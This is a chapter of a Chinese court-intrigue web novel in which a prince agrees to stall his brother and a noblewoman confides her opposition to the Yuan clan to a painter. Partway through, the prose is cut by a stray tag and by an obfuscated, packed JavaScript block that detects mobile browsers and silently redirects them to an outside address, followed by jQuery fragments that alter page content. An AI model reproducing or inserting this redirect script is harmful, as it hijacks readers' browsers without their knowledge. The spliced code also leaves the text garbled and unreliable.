明月垂天,清辉遍地。
屋内,绣帘半卷,风过窗边,带起三两点烛火摇曳。
李显峤微散着长发,手腕搁在椅子把手上,另一只手拈着笔,饱蘸墨水,在纸上胡乱画着些什么。
许是半条街不到的地方,这会定是热闹得很,但他倒不是很在乎。也不知过了多久,门外有人轻敲了几下门,他半抬眼,漠不关心地问了下谁。
待听到人名后,他那低迷的眼睛里浮现出一丝光泽,但很快就又暗下去。这时候来找他?事出反常必有妖啊……
不一会,门被人从外推开,袁照高挑的身影踏着满地月光步入屋里,肩头还有未散的寒风。
“好久不见啊,小袁将军……这时候不去夕瑶的生辰,来我这寂寞之地作甚?”李显峤一只手还在摆弄着笔,袁照一低头,见那宣纸上已经被涂满了轻轻重重的墨色线条。
他即刻抬头,快步上前,抬手做了个揖便直言不讳:“袁某斗胆想请三皇子帮个忙。”说罢直接跪下,整套动作没有丝毫拖泥带水。
“别别,这是作甚”,李显峤一看他跪就乱了几分神,扔开笔刚想起身,却又慢慢坐了回去:
“小袁将军还没说什么事,就行此大礼?我受不起。”见他还不肯起来,歪过头冷哼一声,声音轻了许多:
“起来说。地上凉。”
袁照颔首起身,李显峤勾了勾食指示意面前人走近。袁照嘴角抽搐了几下,最终还是攥着拳头上前,把事情大致说了下。李显峤听完一愣,而后手肘撑在桌子上,托着头,散下的长发绕在桌角,还有些似有若无地撩了一下袁照的手腕。
“想请我去拖住李显峰?这有点难办的。”李显峤心里转了几转,便大致知晓今夜的情况了。定是那萧世子想退婚,怕两人在场面上过不去呢。
只是这萧瑾枫和袁照,向来不是交情深的,这宴又不是为袁氏办的,那这袁照难不成……
“你对我们夕瑶有意思?”
“非也!三皇子休要说笑!”袁照差点急眼。
行,看着不像。但这事哪轮得着他管?还有谁呢……
一个人影在李显峤脑海里飘过去,让他有种茅塞顿开的感觉。
怎么把她忘了?
他依旧托着头,身子却往前更近了些,薄薄的眼皮下,一双深棕色眼睛透出几分妖冶,里头映出摇曳的烛火,晃得人心烦。
袁照猜到了李显峤心中所想,抢在他前面开口。
“我并非对谁有意,只是萧世子目的太过明确,二皇子又寸步不让,二人今日早些时候已有争执,又因有心之人的挑拨……若是打了照面,必定相争不下,到时候……”
“你这理由还是不够充分啊,萧瑾枫和我哥吵起来,不是袁氏想看到的吗?”李显峤手指拈着纸页的一角,垂下目光。
“苏沐栖来了吧?”
“来了……”袁照下意识回答,说完才发现自己反应似乎有些过于迅速。
“那便是了,我懂了”,李显峤轻笑一声,撑着桌子站起来,参差不齐的影子投在桌案上:“我就说,你不会无缘无故开口。我哥一发起疯来,谁都不想放过,是挺让人害怕的。”
落到他手上,至多不过精神上受点折磨;要是换成李显峰,为了让萧瑾枫死心,到时候真得给苏沐栖收尸了。
“为什么不找显岷?”
“他拖不住……”袁照别过头去,咬着牙吐出几个字。
李显峤一笑,不再多问。
他哥给秦夕瑶订婚这出,他也没想到。一直以来他都以为会找袁氏家族的公子,毕竟双方你在明我在暗合作了这么久。找对家给自己妹妹当夫婿,也只有他玩得出来。
不过他总是无所谓的,看别人斗又不用自己参与,好得很。至于袁照的真实目的,反正总会知道的,等等就是了,他有的是时间。
李显峤缓缓走入屏风后,一声不吭过了一小会,再出来时已经整装完毕,散漫劲儿全消,很有皇子的风范了。
“走,去见这场好戏。”
芳林苑。夜风吹拂,灯笼的流苏撩过檐角,把晕开的光影打散。苏沐栖安安静静地坐在池边一处桌台,边品茶边享用着桌上的果品点心。萧瑾枫就在她手边,跟她坐得隔了几个座位,但眼神好像一直钉在她这里。
她转过头不再看。突然,身后有个侍女走近,附在她耳边说了几句,意思是夕瑶小姐想让她过去一下。苏沐栖快速想了一下觉得没什么,起身便要走,但一旁的萧瑾枫好似比她还紧张。
“沐栖,你们去哪?”萧瑾枫直了直身子,表情严肃起来。
“小姐说了,请苏画师上去坐坐。到时会有专门的客室,不会怠慢了了苏画师的”,来的侍女面色不改,镇定自若地向萧瑾枫回话:“萧世子放心,小姐说她的客室没有她的允许,谁都不会进来。”
这是点他呢?萧瑾枫眉梢一顿,不再言语。
苏沐栖把杯中茶饮尽,款款起身,跟在那侍女身后,绕开人群,避开高台,走向别处。在她身后,萧瑾枫一直注视着她们的背影,不时望向芳林苑池前的高台,直到看见秦夕瑶亦起身离开,方向大致相同,才稍稍放了点心。
那侍女一路板着脸,沉默不语,提着灯笼就是走,却会时不时回头确认苏沐栖的动向。她见苏沐栖对路不熟悉,走得很小心,到后面便也放慢了脚步。
苏沐栖白天在这府里便是晕头转向,此刻更是小心谨慎,生怕迷了路,指不定遇上什么东西。待她跟着面前一簇光绕过好几道连廊,在一处亮着灯的厢房前站定,才松了口气。
“苏画师请进。”侍女的声音很低,听着却很舒服。她撩开门帘让到一边,板着的脸上缓缓浮现出一道浅浅的笑意。
苏沐栖颔首谢过,抬脚走进,周身即刻被夹杂着腊梅香的暖意包裹。秦夕瑶褪去了厚绒披风,正窝在炉边暖手,见她来,笑着起身相迎。
“辛苦姐姐……”
苏沐栖站定行礼,亦是面上带笑:“秦小姐好,沐栖祝秦小姐生辰吉乐,岁岁无忧。”
“姐姐客气什么。”秦夕瑶掩着嘴轻轻笑出了声,又拽了拽苏沐栖的袖子,拉着她在自己身旁坐下。
“秦小姐还是不要唤我姐姐了吧,沐栖……”
秦夕瑶端来一个雕花小碟,里头卧着几个精致的桃花酥:“别啊,苏二小姐确长我一岁,叫姐姐是应该的礼数。”
苏沐栖见她说得认真,便不再多说,点头接过秦夕瑶手上的点心,搁在膝上。
“今日是秦小姐生辰宴,不知小姐唤我来,所为何事?”
秦夕瑶垂眸,抿了抿嘴,再抬头时耳铛轻颤,打乱了一圈灯影。
“我……”她只字还未提,门外的风便卷来阵阵人声,二人瞬间噤了声。苏沐栖凝神听了一会,分辨出李显峤的声音后手指不自觉拧在了一起。
秦夕瑶朝边上的几个侍女抬了抬头,几人默契地撑开又一道屏风,把屋子里灯又吹灭了几盏,这方寸间顿时暗了一度。
“那是我大哥和三皇子”,秦夕瑶往苏沐栖那挪了挪,压低了声音:“苏画师莫担心,这里他们进不来,只是我们今天的谈话,得尽快结束了……”
苏沐栖半张脸掩在屏风落下的阴影里,闻言有些摸不着头,李显峤的声音对她来说过于熟悉,又过于心惊,她思绪已经断了一小会儿了。
“苏画师,那我就直说了”,待声音再度远去,苏沐栖被秦夕瑶蓦地拉进,软软的声音贴着耳畔擦过去:“我知道你想找什么,也知道你们想干什么……”
这么直白的吗?苏沐栖扶着碟子的手僵住了,她用力扯了扯嘴角,让自己的声音听起来尽可能平静:“夕瑶小姐说笑了,沐栖不过是一介画师,今日托小姐的福才能来此,怎敢多求些什么……”
许是屋内暖意太足,苏沐栖这会感觉后背出了层薄汗。她动了动手指,有些机械地把碟子移到一旁的案几上,防止自己一个不留神给摔了。她转过去拍了拍秦夕瑶覆在她手背上的玉葱,张了张口却一个字也说不出来。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773485|184458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“你想要我哥书房的地图对吧?萧世子想来退婚对吧?你们想跟袁留青作对,对吧?”
苏沐栖感觉一阵凉意从指尖漫到心底。
全说对了。
但她现在的震惊让她连一句反问都说不出来。
“姐姐暂时没话说,那就我来说”,秦夕瑶收敛了些笑意,轻拍了两下苏沐栖微凉的手背:“大哥他们的事,我一直知道些,苏将军和萧大人的事,这么多年在调查的不止你们。”
“我今日把姐姐叫来,一是想交给你些有用的东西,再藏在我这,恐要被暗中毁了;二是想告诉姐姐,我和你们是一样的,以后有什么需要帮忙的,尽可来找我。”
“我知道大哥对我好,但他做的那些事,我有太多不能苟同了……”
苏沐栖沉默着听完,却一直望着秦夕瑶的眼睛。可那眸子波澜不惊,流露出的情绪除了真实似乎也看不出什么了。
两双手彼此交叠,温度逐渐相融,但二人间依旧隔了一层凝滞的空气,无声无息。
“姐姐若是不信,有什么话尽管问便好。夕瑶定知无不言。”
苏沐栖僵着没动。问,当然要问,但是问什么呢?
你为什么跟我们一样站在袁氏,甚至李显峰的对立面?真的仅仅是一句不能苟同吗?为什么偏偏是今晚找到我而不是萧瑾枫?为什么你会知道地图的事?
太多了,不知从何问起了。
“为什么……在这种情况下……”
苏沐栖说完自己先愣住了。她先前预设过无数问题,结果最先说出口的是这个。
“姐姐是说,萧世子想退婚一事吗?”
还是这么直白,直白得让人心疼了。苏沐栖不知如何回应,只好兀自咬紧了嘴唇。
“姐姐可知,姨母和大哥一开始给我选的夫婿是谁?”秦夕瑶静默了一会,缓缓开口,语气比先前更低沉,似是在回忆里翻找出深埋已久之物:
“是袁照,袁公子。”
苏沐栖的手不自觉一收,被秦夕瑶温柔地拢了回去。
“这目的已经很明显了。想来好笑,我以为大哥是懂我的,结果那天他也说我不懂事……我自小便在这芳林苑,日日琴棋书画,其余一概不问。但这不代表我没有我自己的主张,不代表我就可以像接受先生教导一样接受他们给我安排的终身大事……”
秦夕瑶尽量压着声音,结果越说越急促,本就细软的声线顿时被扯得断断续续。
“他们是疼我,可是然后呢?我是不参与什么勾心斗角,但是基本的对错我还是知道的……构陷忠臣,挑起战争,为了那个位子还是可以什么都不顾……包括我,不是吗?”
“朝中一半人都和袁氏关系密切,我大哥亦是如此……有时候我也分不清,他对我究竟是疼爱,还是真把我当成大门不出二门不迈,家里说什么便是什么的大家闺秀了……”
“和袁氏联姻,好处不言而喻。那我偏不。既然他们早就把我当成了关键时候下出去的一步棋,那我偏不让他们如愿。我要把我自己放在,我觉得最值当的地方……”
“所以后来,我没跟大哥商量,直接和我母亲说了此事。我知道,如果不通过我母亲传这么一下,现在出现在婚书上的,就是袁照的名字了……但是现在看来,好像给你们也惹了麻烦,对不住……”
秦夕瑶的尾音已经夹杂了隐隐约约的哭腔,苏沐栖心中不忍,不禁反握住她的手,轻轻捏了两下。
“别这么想自己……走到这一步不是你的错,你能跳出来为自己争取已经很好了……”
“是吧,我也这么觉得”,秦夕瑶深吸了一口气,故作轻松:“毕竟如果不是这样,我就不能见到你了啊,苏画师……”
“秦小姐又在说笑了……”
“我没有”,秦夕瑶坐直了身子,注视着苏沐栖的双眼,一脸认真,一字一顿:
“不然我就不能这么快见到你了……目前整个大新唯一还能召集枭的人……苏沐栖苏二小姐啊……”